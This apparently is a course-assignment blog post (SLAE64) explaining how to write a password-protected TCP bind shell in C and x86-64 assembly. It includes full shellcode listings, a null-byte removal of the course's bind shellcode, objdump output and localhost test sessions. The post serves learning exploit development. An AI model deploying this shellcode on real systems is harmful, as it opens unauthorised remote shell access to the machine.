Post

SLAE64 - Assignment #1 - TCP Bind Shell

Introduction

This is the blog post for the 1st Assignment of the SLAE64 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 64-bit Assembly language for the Intel Architecture (IA-x86_64) family of processors on the Linux platform.

The purpose of this assignment is to create a TCP Bind Shell. A Bind Shell has a listener running on the target machine, by opening a port, and the attacker connects to that listener in order to gain a remote shell. The communication happens over the TCP protocol. Also, the attacker has to provide a passcode and if it’s correct, then the shell gets executed.

Furthermore, the nullbytes (0x00) have to be removed from the Bind Shellcode of the course. So, the table below is used to navigate to the 2 parts of the assignment.

PartDescription
TCP Bind ShellTCP Bind Shell with passcode
Bind ShellcodeRemoving 0x00 from the Bind Shellcode of the course

My code can be found in my Github: geobour98’s Github.

TCP Bind Shell

TCP Bind Shell in C

The easiest way, in my opinion, to create a TCP Bind Shell in Assembly is to first create it in C and then “translate” it to ASM code.

In order create the TCP Bind Shell, a few Linux system calls (syscalls) will be used. They can be found in the following table:

SyscallUsage
socketCreates an endpoint for communication
bindBinds (assigns) a name to a socket
listenListens for connections on a socket
acceptAccepts a connection on a socket
dup2Duplicates a file descriptor
readReads from a file descriptor
execveExecutes a program
exitTerminates the calling process

Declare the passcode that must be provided in order for the shell to be executed and its length:

1
2
char *p = "Password";
int length = strlen(p);

Create a socket:

1
int sockfd = socket(AF_INET, SOCK_STREAM, 0);

Bind a name to the socket, initializing the structure for the TCP/IP address:

1
2
3
4
5
6
7
struct sockaddr_in address = {
	.sin_family = AF_INET,
	.sin_port = htons(4444),
	.sin_addr = INADDR_ANY
};

bind(sockfd, (struct sockaddr*) &address, sizeof(address));

Listen for connections on the socket:

1
listen(sockfd, 0);

Accept a connection on the socket:

1
int acceptfd = accept(sockfd, NULL, NULL);

Duplicate STDIN, STDOUT and STDERR file descriptors in order to redirect everything to the socket connected:

1
2
3
dup2(acceptfd, 0);
dup2(acceptfd, 1);
dup2(acceptfd, 2);

Attempt to read up to 64 bytes from the accepted connection:

1
2
char pass[64];
read(acceptfd, pass, 64);

Compare the passcode from the connection with the predefined and if they match execute the /bin/sh program.

1
2
3
4
if (strncmp(pass, p, length) == 0)
{
        execve("/bin/sh", NULL, NULL);
}

If the passcode from the connection doesn’t match with the predefined terminate the program.

1
2
3
4
else
{
        exit(-1);
}

The whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>

int main(int argc, char **argv)
{

	char *p = "Password";
	int length = strlen(p);

	int sockfd = socket(AF_INET, SOCK_STREAM, 0);

	struct sockaddr_in address = {
		.sin_family = AF_INET,
		.sin_port = htons(4444),
		.sin_addr = INADDR_ANY
	};

	bind(sockfd, (struct sockaddr*) &address, sizeof(address));

	listen(sockfd, 0);

	int acceptfd = accept(sockfd, NULL, NULL);
	
	dup2(acceptfd, 0);
    dup2(acceptfd, 1);
    dup2(acceptfd, 2);

	char pass[64];
	read(acceptfd, pass, 64);
	
	if (strncmp(pass, p, length) == 0)
	{
		execve("/bin/sh", NULL, NULL);
	}
	else
	{
		exit(-1);
	}
	
	return 0;
}

Syscall Arguments

The arguments and their values for the syscalls will be explained later in the creation of the TCP Bind Shell in Assembly.

In order to prove that the Bind Shell is working we have to compile the C program using the GNU Compiler (gcc):

1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ gcc bind-c.c -o bind-c

First, bind-c gets executed and waits for connections:

1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./bind-c

Then, in another terminal netstat is used to display all active TCP connections in listening mode. The connection happens with nc on port 4444. Before running any commands, we have to provide the passcode which is Password. Then, the commands id and ls are executed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
geobour98@slae64-dev:~$ netstat -tanlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:50505         0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:7337          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:3790            0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      3069/bind-c     
tcp        0      0 127.0.0.1:58430         127.0.0.1:7337          ESTABLISHED -               
tcp        0      0 127.0.0.1:58640         127.0.0.1:7337          ESTABLISHED -               
tcp        0      0 127.0.0.1:7337          127.0.0.1:58430         ESTABLISHED -               
tcp        0      0 127.0.0.1:58626         127.0.0.1:7337          ESTABLISHED -               
tcp        0      0 127.0.0.1:7337          127.0.0.1:58626         ESTABLISHED -               
tcp        0      0 127.0.0.1:7337          127.0.0.1:58640         ESTABLISHED -               
tcp        0      0 127.0.0.1:7337          127.0.0.1:58522         ESTABLISHED -               
tcp        0      0 127.0.0.1:58522         127.0.0.1:7337          ESTABLISHED -               
tcp6       0      0 ::1:631                 :::*                    LISTEN      -               
geobour98@slae64-dev:~$ nc localhost 4444
Password
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
bind-c
bind-c.c
bind-shellcode-course
bind-shellcode-course.nasm
bind-shellcode-course.o
bindshell
bindshell.nasm
bindshell.o
compile.sh
exit
geobour98@slae64-dev:~$

Now we can check that with a wrong passcode the program is terminated. We execute again bind-c and wait for connections.

We connect again with nc and provide the wrong passcode WrongPassword. The program is terminated.

1
2
3
geobour98@slae64-dev:~$ nc localhost 4444
WrongPassword
geobour98@slae64-dev:~$

Syscalls

In order to implement the syscalls in Assembly, we have to find their defined numbers. These are located at the header file: /usr/include/x86_64-linux-gnu/asm/unistd_64.h.

The syscalls and their definitions can be found in the following table:

SyscallDefinition
socket#define __NR_socket 41
bind#define __NR_bind 49
listen#define __NR_listen 50
accept#define __NR_accept 43
dup2#define __NR_dup2 33
read#define __NR_read 0
execve#define __NR_execve 59
exit#define __NR_exit 60

Now we have to find the arguments and their values in order to be used in the syscalls.

  • Syscall socket:
1
int socket(int domain, int type, int protocol);

The domain argument specifies a communication domain. Since we operate through IPv4 protocol, we will use the AF_INET address family, which according to the socket header file: /usr/include/x86_64-linux-gnu/bits/socket.h belongs to the PF_INET protocol family. This protocol family is represented by the number 2.

The type argument specifies the communication semantics. We will use SOCK_STREAM, since it provides sequenced, reliable, two-way, connection-based byte streams. According to the socket_type header file: /usr/include/x86_64-linux-gnu/bits/socket_type.h, SOCK_STREAM is represented by the number 1.

The protocol argument specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0.

The return value from socket is a file descriptor for the new socket, if socket was executed successfully.

  • Syscall bind:
1
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

The sockfd argument is the file descriptor returned from socket execution. It is an integer value.

The *addr argument is the address structure that will be assigned to the socket. The structure consists of 3 values. The first value is the AF_INET, which from before is the number 2. The second value is the port that will be opened in order to listen for connections, which in our case is 4444. The third value is the interface that the socket will listen on. We provide the value 0 in order to listen on all interfaces (0.0.0.0).

The addrlen argument is the size, in bytes, of the address structure pointed to by addr. According to the header file: /usr/include/linux/in.h the size is 16 bytes.

  • Syscall listen:
1
int listen(int sockfd, int backlog);

The sockfd argument is the integer value that is returned from the socket execution.

The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow. We don’t need it in our case, so we pass to it the value 0.

  • Syscall accept:
1
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

The sockfd argument again is the integer value that is returned from the socket execution.

The *addr argument is a pointer to a sockaddr structure. The addr is NULL, when nothing is filled in.

When *addr is NULL, it means that the argument addrlen is not used and should also be NULL.

On success, accept returns a nonnegative integer that is a descriptor for the accepted socket.

  • Syscall dup2:
1
int dup2(int oldfd, int newfd);

The argument oldfd is the nonnegative integer returned from accept4.

If the descriptor newfd was previously open, it is silently closed before being reused. If oldfd is a valid file descriptor, and newfd has the same value as oldfd, then dup2 does nothing, and returns newfd. We execute dup2 3 times in order to pass the values: 0 for STDIN, 1 for STDOUT and 2 for STDERR.

On success dup2 returns the new descriptor.

  • Syscall read:
1
ssize_t read(int fd, void *buf, size_t count);

The fd argument is the return value from the accept4 syscall, which is a nonnegative integer on success.

The *buf argument is the buffer, where the bytes from the file descriptor are stored.

The count argument is the maximum number of bytes that will be read from the file descriptor.

On success read returns the number of bytes read.

  • Syscall execve:
1
int execve(const char *filename, char *const argv[], char *const envp[]);

The *filename argument must be either a binary executable or a script, so we pass to it the executable “bin/sh”.

The argv argument is an array of argument strings passed to the new program. The envp argument is an array of strings, conventionally of the form “key=value”, which are passed as environment to the new program. Since we don’t need any of these we pass the value NULL.

  • Syscall exit:
1
void _exit(int status);

The status argument is returned to the parent process as the process’s exit status, which in our case is -1, declaring that the program terminated unsuccessfully when the passcode is wrong.

TCP Bind Shell in Assembly

Now we will examine the Assembly instructions in detail.

  • Syscall socket

We first clear the register RAX and then add to it the hexadecimal value 0x29, which in decimal is 41.

1
2
    xor rax, rax
    add al, 0x29            ; 29 is the hex value of the decimal 41 for socket

Then we clear the RDI register and add to it the value 2, since it is the PF_INET protocol family.

1
2
    xor rdi, rdi
    add rdi, 0x2            ; AF_INET numeric value from PF_INET protocol family

After that, we clear the RSI register and add to it the value 1, since this is the value of SOCK_STREAM constant.

1
2
    xor rsi, rsi
    add rsi, 0x1            ; SOCK_STREAM constant from socket_type.h

We clear the RDX register and the value 0, because of the single protocol, is passed as the third argument to socket syscall.

1
    xor rdx, rdx            ; 0 value because of single protocol

Then, in order to actually execute the syscall, we run the following instruction:

1
    syscall                 ; exec socket syscall

The socket syscall returns a file descriptor (sockfd), so we copy it to the RDI register, since the result of the syscall is saved in the RAX register by default.

1
    mov rdi, rax            ; move sockfd (file descriptor) value into rdi
  • Syscall bind

We clear the RAX register and push the value 0 to the stack.

1
2
    xor rax, rax
    push rax

We start with the values for the address structure.

Since the register RAX already contains the value 0, we move its value where RSP points minus 4 bytes, so the socket listens on all interfaces (0.0.0.0).

1
    mov dword [rsp - 4], eax        ; listens on all addresses (0.0.0.0)

Then, since we are dealing with little endianness the port with decimal value 4444 and hexadecimal 115c, becomes 5c11.

1
    mov word [rsp - 6], 0x5c11      ; listen on port 4444 (little endian)

After that, we move the value 2, where RSP points minus 8 bytes, for the AF_INET constant.

1
    mov byte [rsp - 8], 0x2         ; AF_INET constant

We restore RSP register that now points at the top of the stack.

1
    sub rsp, 8              ; rsp points at the top of the stack

We add the hexadecimal value 0x31, which in decimal is 49, for the bind syscall.

1
    add al, 0x31            ; 31 is the hex value of the decimal 49 for bind

The RDI register already contains the value of sockfd from socket.

The RSI register now points at the top of the stack, where is the address struct.

1
    mov rsi, rsp            ; rsi now points at address struct at the top of the stack

We clear the RDX register, and pass the hexadecimal value 0x10 (16 in decimal), since that is the size of the address struct.

1
2
    xor rdx, rdx
    add rdx, 0x10           ; 10 is the decimal 16 that is the size of the address struct

The final step is to execute the bind syscall.

1
    syscall                 ; exec bind syscall
  • Syscall listen

We clear the RAX register, and then add to it the hexadecimal value 0x32 (50 in decimal) as the definition number for listen syscall.

1
2
    xor rax, rax
    add al, 0x32            ; 32 is the hex value of the decimal 50 for listen

The RDI register already contains the value of sockfd from socket.

Then we clear the RSI register in order to have the value 0 for the backlog value.

1
    xor rsi, rsi

Finally, we execute the listen syscall.

1
    syscall                 ; exec listen syscall
  • Syscall accept

We clear the RAX register and add to it the hexadecimal value 0x2b (43 in decimal) as the definition number for accept syscall.

1
2
    xor rax, rax
    add rax, 0x2b           ; 2b is the hex value of the decimal 43 for accept

The RDI register already contains the value of sockfd from socket and we can ignore the rest arguments, since they have NULL value.

Finally, the accept syscall gets executed.

1
    syscall                 ; exec accept syscall
  • Syscall dup2

Since we need the return value from accept for the dup2 syscall, we copy the result from RAX register to RDI.

1
	mov rdi, rax		; acceptfd

We create a loop that will execute dup2 3 times for STDERR, STDOUT and STDIN respectively. So, we clear the RSI register and add the value 0x3 to it, which is the counter for the loop.

1
2
	xor rsi, rsi
	add rsi, 0x3		; set counter to 3

We first declare the procedure dup2loop, which acts like a function, where we clear the RAX register and add the hexadecimal value 0x21 (33 in decimal) to it as the dup2 syscall number. Then, we decrement the counter (RSI) by 1, so in the first iteration the value inside RSI will be 2, representing the STDERR. 2 more iterations will happen with value 1 and 0 for STDOUT and STDIN respectively. Each iteration is finished by executing the dup2 syscall and by creating a conditional instruction. That instruction checks if the Zero Flag (ZF) is set, meaning it has value 0, and if it is, the loop is stopped and the execution is continued. If it is not 0 a jump happens back to dup2loop. In the third iteration, RSI is decremented to 0, so the ZF is set, and the execution will continue to the next instructions and there will not be a jump back to dup2loop.

1
2
3
4
5
6
7
8
9
dup2loop:
        xor rax, rax
        add al, 0x21            ; 21 is the hex value of the decimal 33 for dup2

        dec rsi                 ; decrement counter by 1

        syscall                 ; exec dup2 syscall

        jnz dup2loop            ; jump to loop if ZF is not zero, else continue
  • Syscall read

We clear the RAX register in order to have the value 0 as the read syscall number and RSI points at the top of the stack.

1
2
3
        xor rax, rax            ; 0 for read syscall

        mov rsi, rsp

We clear the RDX register and add to it the value 8 as the size of the password that is going to be read.

1
2
    xor rdx, rdx
    add dl, 8               ; read size

Finally, we execute the read syscall.

1
    syscall                 ; exec read syscall

RDI register points at the top of the stack, where the provided password is from the read syscall.

1
    mov rdi, rsp                    ; password in buffer

Now we have to pass the correct passcode, which is Password, to RAX in order to compare it with the one from read syscall. But we have to pass it in reverse since we are dealing with little endianness. The following python script will help us achieve that.

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python

import sys

input = sys.argv[1]

print 'String length: ' + str(len(input))

stringList = [input[i:i+8] for i in range(0, len(input), 8)]

for item in stringList[::-1]:
	print item[::-1] + ' : ' + str(item[::-1].encode('hex'))

We run the above script by providing the correct password (Password) we want to be reversed.

1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./reverse.py Password
String length: 8
drowssaP : 64726f7773736150

Now we move that value to the RAX register.

1
    mov rax, 0x64726f7773736150     ; "drowssaP"

Next, we are using the scasq instruction, which compares memory to register. The value in memory is the buffer with the password from the read syscall and the register that is compared is RAX by default, where we have stored the correct passcode.

1
    scasq                           ; compare string in buffer with passcode

If the 2 values are the same, the provided passcode matches with the correct one, the Zero Flag (ZF) is set. So, the next instruction is ignored and the execve syscall is executed. If they don’t match, which means that the passcode is wrong, we jump to the exit procedure.

1
    jnz exit                        ; if they don't match jmp to exit
  • Syscall exit

We clear the RAX register and add to it the hex value 0x3c (60 in decimal) as the exit syscall number.

1
2
3
exit:
    xor rax, rax
    add rax, 0x3c           ; 3c is the hex value of the decimal 60 for exit

Then, we clear the RDI register and decrement its value to -1 in order to set the status and exit the program unsuccessfully.

1
2
    xor rdi, rdi
    dec rdi                 ; status

Finally, we execute the exit syscall.

1
    syscall                 ; exec exit syscall
  • Syscall execve

We clear the RAX register and push the value 0 to the stack.

1
2
    xor rax, rax
    push rax

Since “/bin/sh” is only 7 bytes, we need to make it 8 bytes. That is because when a string is pushed to the stack it must be multiplied by 8. The safest way to do that, without breaking any functionality, is to add a /. So we will use the same python script like before to reverse the “/bin//sh” string.

1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./reverse.py "/bin//sh"
String length: 8
hs//nib/ : 68732f2f6e69622f

Now we save that in RBX register and then push it to the stack.

1
2
    mov rbx, 0x68732f2f6e69622f     ; "hs//nib/"
    push rbx

RDI points at the top of the stack, where is the string “/bin//sh” as the first argument for execve.

1
    mov rdi, rsp            ; rdi points at "/bin//sh" at the top of the stack

Then, we push another NULL and save the current RSP memory address to RDX as the third argument from execve.

1
2
3
    push rax                ; NULL

    mov rdx, rsp            ; rdx points at the top of the stack

We push the memory address of the string “/bin//sh” to the stack and save that memory location to RSI as the second argument for execve.

1
2
3
    push rdi

    mov rsi, rsp

We add to RAX the hex value 0x3b (59 in decimal) as the syscall number for execve.

1
    add al, 0x3b            ; 3b is the hex value of the decimal 59 for execve

Finally, we execute the execve syscall.

1
    syscall                 ; exec execve syscall

The whole Assembly program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
global _start
section .text

_start:

	; socket 
	xor rax, rax
	add al, 0x29		; 29 is the hex value of the decimal 41 for socket

	xor rdi, rdi
	add rdi, 0x2		; AF_INET numeric value from PF_INET protocol family

	xor rsi, rsi
	add rsi, 0x1		; SOCK_STREAM constant from socket_type.h

	xor rdx, rdx		; 0 value because of single protocol	

	syscall			; exec socket syscall 

	mov rdi, rax		; move sockfd (file descriptor) value into rdi

	; bind
	xor rax, rax
	push rax

	mov dword [rsp - 4], eax	; listens on all addresses (0.0.0.0)

	mov word [rsp - 6], 0x5c11	; listen on port 4444 (little endian)

	mov word [rsp - 8], 0x2		; AF_INET constant

	sub rsp, 8		; rsp points at the top of the stack

	add al, 0x31		; 31 is the hex value of the decimal 49 for bind
	
	mov rsi, rsp		; rsi now points at address struct at the top of the stack

	xor rdx, rdx
	add rdx, 0x10		; 10 is the decimal 16 that is the size of the address struct

	syscall			; exec bind syscall

	; listen
	xor rax, rax
	add al, 0x32		; 32 is the hex value of the decimal 50 for listen

	xor rsi, rsi
	
	syscall			; exec listen syscall

	; accept
	xor rax, rax
	add rax, 0x2b		; 2b is the hex value of the decimal 43 for accept

	syscall			; exec accept syscall

	mov rdi, rax		; acceptfd

	; dup2 loop
	xor rsi, rsi
	add rsi, 0x3		; set counter to 3

dup2loop:
	xor rax, rax
	add al, 0x21		; 21 is the hex value of the decimal 33 for dup2

	dec rsi			; decrement counter by 1

	syscall			; exec dup2 syscall
	
	jnz dup2loop		; jump to loop if ZF is not zero, else continue

	; read
        xor rax, rax    	; 0 for read syscall

        mov rsi, rsp

        xor rdx, rdx
        add dl, 8		; read size

        syscall			; exec read syscall

        mov rdi, rsp			; password in buffer

        mov rax, 0x64726f7773736150	; "drowssaP"
        
	scasq				; compare string in buffer with passcode
        jnz exit			; if they don't match jmp to exit

	; execve
	xor rax, rax
	push rax

	mov rbx, 0x68732f2f6e69622f	; "hs//nib/"
	push rbx

	mov rdi, rsp		; rdi points at "/bin//sh" at the top of the stack

	push rax		; NULL

	mov rdx, rsp		; rdx points at the top of the stack

	push rdi

	mov rsi, rsp	

	add al, 0x3b		; 3b is the hex value of the decimal 59 for execve        

	syscall			; exec execve syscall

exit:
	xor rax, rax
        add rax, 0x3c		; 3c is the hex value of the decimal 60 for exit

        xor rdi, rdi
	dec rdi			; status

        syscall			; exec exit syscall

Testing the Bind Shell

In order to test the Bind Shell, we need to compile it. Compilation process consists of 2 separate processes:

  • Assembling: can happen with the nasm assembler, which assembles the input file (.nasm) and directs output to the output file (.o) if specified. It basically “translates” the Assembly code.
  • Linking: can happen with the GNU linker ld, which combines a number of object and archive files, relocates their data and ties up symbol references. It basically provides information such as where the entry point of a program is. By default the entry point is _start but this can be changed.

The following bash script automates that process:

1
2
3
4
5
6
7
8
9
#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -felf64 -o $1.o $1.nasm

echo '[+] Linking ... '
ld -o $1 $1.o

echo '[+] Done!'

The following command does the compilation and creates the executable bind:

1
2
3
4
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./compile.sh bind
[+] Assembling with Nasm ... 
[+] Linking ... 
[+] Done!

We test the Bind Shell by executing in one terminal window the bind executable and in another we connect with nc on port 4444, provide the passcode: Password and execute the commands id and ls.

1st window:

1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./bind

2nd window:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
geobour98@slae64-dev:~$ nc localhost 4444
Password
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
bind
bind-c
bind-c.c
bind-shellcode-course
bind-shellcode-course.nasm
bind-shellcode-course.o
bind.nasm
bind.o
compile.sh
reverse.py
exit
geobour98@slae64-dev:~$

Now we can check that with a wrong passcode the program is terminated. We execute again bind and wait for connections.

We connect again with nc and provide the wrong passcode WrongPassword. The program is terminated.

1
2
3
geobour98@slae64-dev:~$ nc localhost 4444
WrongPassword
geobour98@slae64-dev:~$

Bind Shellcode

The initial version of the Bind Shellcode of the course, which contained nullbytes, is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
global _start

_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41

	mov rax, 41
	mov rdi, 2
	mov rsi, 1
	mov rdx, 0
	syscall

	; copy socket descriptor to rdi for future use
	mov rdi, rax

	; server.sin_family = AF_INET
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = INADDR_ANY
	; bzero(&server.sin_zero, 8)

	xor rax, rax

	push rax

	mov dword [rsp - 4], eax
	mov word [rsp - 6], 0x5c11
	mov word [rsp - 8], 0x2
	sub rsp, 8

	; bind(sock, (struct sockaddr *)&server, sockaddr_len)
	; syscall number 49
	mov rax, 49
	
	mov rsi, rsp
	mov rdx, 16
	syscall

	; listen(sock, MAX_CLIENTS)
	; syscall number 50
	mov rax, 50
	mov rsi, 2
	syscall

	; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
	; syscall number 43

	mov rax, 43
	sub rsp, 16
	mov rsi, rsp
	mov byte [rsp - 1], 16
	sub rsp, 1
	mov rdx, rsp

	syscall

	; store the client socket description
	mov r9, rax
	
	; close parent
	mov rax, 3
	syscall

	; duplicate sockets
	; dup2 (new, old)
	mov rdi, r9
	mov rax, 33
	mov rsi, 0
	syscall

	mov rax, 33
	mov rsi, 1
	syscall

	mov rax, 33
	mov rsi, 2
	syscall

	; first null push
	xor rax, rax
	push rax

	; push /bin//sh in reverse
	mov rbx, 0x68732f2f6e69622f
	push rbx

	; store /bin//sh address in RDI
	mov rdi, rsp

	; second null push
	push rax

	; set RDX
	mov rdx, rsp

	; push address pf /bin//sh
	push rdi
	
	; set RSI
	mov rsi, rsp

	; call execve
	add rax, 59
	syscall

In order to view those 0x00 we compile bind-shellcode-course.nasm and use the objdump program, which displays information from object files, by displaying assembler contents and instructions in Intel syntax.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./compile.sh bind-shellcode-course
[+] Assembling with Nasm ... 
[+] Linking ... 
[+] Done!
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ objdump -d ./bind-shellcode-course -M intel

./bind-shellcode-course:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	b8 29 00 00 00       	mov    eax,0x29
  400085:	bf 02 00 00 00       	mov    edi,0x2
  40008a:	be 01 00 00 00       	mov    esi,0x1
  40008f:	ba 00 00 00 00       	mov    edx,0x0
  400094:	0f 05                	syscall 
  400096:	48 89 c7             	mov    rdi,rax
  400099:	48 31 c0             	xor    rax,rax
  40009c:	50                   	push   rax
  40009d:	89 44 24 fc          	mov    DWORD PTR [rsp-0x4],eax
  4000a1:	66 c7 44 24 fa 11 5c 	mov    WORD PTR [rsp-0x6],0x5c11
  4000a8:	66 c7 44 24 f8 02 00 	mov    WORD PTR [rsp-0x8],0x2
  4000af:	48 83 ec 08          	sub    rsp,0x8
  4000b3:	b8 31 00 00 00       	mov    eax,0x31
  4000b8:	48 89 e6             	mov    rsi,rsp
  4000bb:	ba 10 00 00 00       	mov    edx,0x10
  4000c0:	0f 05                	syscall 
  4000c2:	b8 32 00 00 00       	mov    eax,0x32
  4000c7:	be 02 00 00 00       	mov    esi,0x2
  4000cc:	0f 05                	syscall 
  4000ce:	b8 2b 00 00 00       	mov    eax,0x2b
  4000d3:	48 83 ec 10          	sub    rsp,0x10
  4000d7:	48 89 e6             	mov    rsi,rsp
  4000da:	c6 44 24 ff 10       	mov    BYTE PTR [rsp-0x1],0x10
  4000df:	48 83 ec 01          	sub    rsp,0x1
  4000e3:	48 89 e2             	mov    rdx,rsp
  4000e6:	0f 05                	syscall 
  4000e8:	49 89 c1             	mov    r9,rax
  4000eb:	b8 03 00 00 00       	mov    eax,0x3
  4000f0:	0f 05                	syscall 
  4000f2:	4c 89 cf             	mov    rdi,r9
  4000f5:	b8 21 00 00 00       	mov    eax,0x21
  4000fa:	be 00 00 00 00       	mov    esi,0x0
  4000ff:	0f 05                	syscall 
  400101:	b8 21 00 00 00       	mov    eax,0x21
  400106:	be 01 00 00 00       	mov    esi,0x1
  40010b:	0f 05                	syscall 
  40010d:	b8 21 00 00 00       	mov    eax,0x21
  400112:	be 02 00 00 00       	mov    esi,0x2
  400117:	0f 05                	syscall 
  400119:	48 31 c0             	xor    rax,rax
  40011c:	50                   	push   rax
  40011d:	48 bb 2f 62 69 6e 2f 	movabs rbx,0x68732f2f6e69622f
  400124:	2f 73 68 
  400127:	53                   	push   rbx
  400128:	48 89 e7             	mov    rdi,rsp
  40012b:	50                   	push   rax
  40012c:	48 89 e2             	mov    rdx,rsp
  40012f:	57                   	push   rdi
  400130:	48 89 e6             	mov    rsi,rsp
  400133:	48 83 c0 3b          	add    rax,0x3b
  400137:	0f 05                	syscall

The majority of the changes were to convert an instruction: mov rax, 41 to 2 instructions: xor rax, rax and add rax, 41 in order to remove nullbytes and preserve the functionality. So, the updated version (bind-shellcode-course.nasm) is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
global _start

_start:

	mov al, 41
	xor rdi, rdi
	add rdi, 2
	xor rsi, rsi
	add rsi, 1
	xor rdx, rdx	
	syscall

	mov rdi, rax

	xor rax, rax

	push rax

	mov dword [rsp - 4], eax
	mov word [rsp - 6], 0x5c11
	mov byte [rsp - 8], 0x2
	sub rsp, 8

	add rax, 49
	
	mov rsi, rsp
	xor rdx, rdx
	add rdx, 16
	syscall

	xor rax, rax
	add rax, 50
	xor rsi, rsi
	add rsi, 2
	syscall

	xor rax, rax
	add rax, 43
	sub rsp, 16
	mov rsi, rsp
	mov byte [rsp - 1], 16
	sub rsp, 1
	mov rdx, rsp

	syscall

	mov r9, rax
	
	xor rax, rax
	add rax, 3
	syscall

	mov rdi, r9
	xor rax, rax
	add rax, 33
	xor rsi, rsi
	syscall

	xor rax, rax
	add rax, 33
	xor rsi, rsi
	add rsi, 1
	syscall

	xor rax, rax
	add rax, 33
	xor rsi, rsi
	add rsi, 2
	syscall

	xor rax, rax
	push rax

	mov rbx, 0x68732f2f6e69622f
	push rbx

	mov rdi, rsp

	push rax

	mov rdx, rsp

	push rdi
	
	mov rsi, rsp

	add rax, 59
	syscall

After compilation and execution of the objdump program we can see that there are no nullbytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./compile.sh bind-shellcode-course
[+] Assembling with Nasm ... 
[+] Linking ... 
[+] Done!
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ objdump -d ./bind-shellcode-course -M intel

./bind-shellcode-course:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	b0 29                	mov    al,0x29
  400082:	48 31 ff             	xor    rdi,rdi
  400085:	48 83 c7 02          	add    rdi,0x2
  400089:	48 31 f6             	xor    rsi,rsi
  40008c:	48 83 c6 01          	add    rsi,0x1
  400090:	48 31 d2             	xor    rdx,rdx
  400093:	0f 05                	syscall 
  400095:	48 89 c7             	mov    rdi,rax
  400098:	48 31 c0             	xor    rax,rax
  40009b:	50                   	push   rax
